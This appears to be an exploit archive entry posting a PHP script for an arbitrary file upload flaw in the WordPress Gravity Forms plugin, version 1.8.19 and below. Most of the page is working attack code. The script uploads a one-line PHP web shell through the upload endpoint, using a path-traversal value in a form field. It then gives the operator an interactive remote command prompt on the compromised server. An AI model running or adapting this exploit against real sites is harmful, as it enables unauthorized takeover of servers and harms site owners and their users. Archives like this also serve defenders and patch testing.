exploit the possibilities

WordPress Gravity Forms 1.8.19 Shell Upload

WordPress Gravity Forms 1.8.19 Shell Upload
Posted Jun 17, 2016
Authored by Abk Khan

WordPress Gravity Forms plugin version 1.8.19 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
MD5 | 8a3e5f3b40cd059d526d8e35944a2991

WordPress Gravity Forms 1.8.19 Shell Upload

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<?php

# Exploit Title: Wordpress Gravity Forms - Arbitrary File Upload
# Vendor Homepage: http://www.gravityforms.com/
# Vulnerable Version(s): 1.8.19 (and below)
# Exploit Author: Abk Khan
# Contact: [ an0nguy @ protonmail.ch ]
# Website: http://blog.lolwaleet.com/
# Category: webapps
# PS: I just wrote the exploit code by reading this write-up [ goo.gl/816np5 ] -- Don't know who found the vulnerability!

error_reporting(0);

$domain = 'http://localhost/wordpress';
$url = "$domain/?gf_page=upload";
$shell = "$domain/wp-content/_input_3_khan.php5";
$separator = '-----------------------------------------------------';

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, '<?=system($_GET[0]);?>&form_id=1&name=khan.php5&gform_unique_id=../../../../&field_id=3');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

if (eregi('ok', $response)) {
echo "$separator\nShell at $shell\n$separator\n\n";
while ($testCom != 'bubye!') {
$user = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20whoami;%20echo%20'~'"), '~', '~'));
echo "$user@b0x:~$ ";
$handle = fopen("php://stdin", 'r');
$testCom = trim(fgets($handle));
fclose($handle);
$comOut = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20" . urlencode($testCom) . ";%20echo%20'~'"), '~', '~')) . "\n";
echo $comOut;
}
}
else {
die("$separator\n$domain doesn't seem to be vulnerable! :(\n$separator");
}

function get_string_between($string, $start, $end)
{
# stolen from stackoverflow!
$string = " " . $string;
$ini = strpos($string, $start);
if ($ini == 0)
return "";
$ini += strlen($start);
$len = strpos($string, $end, $ini) - $ini;
return substr($string, $ini, $len);
}
?>

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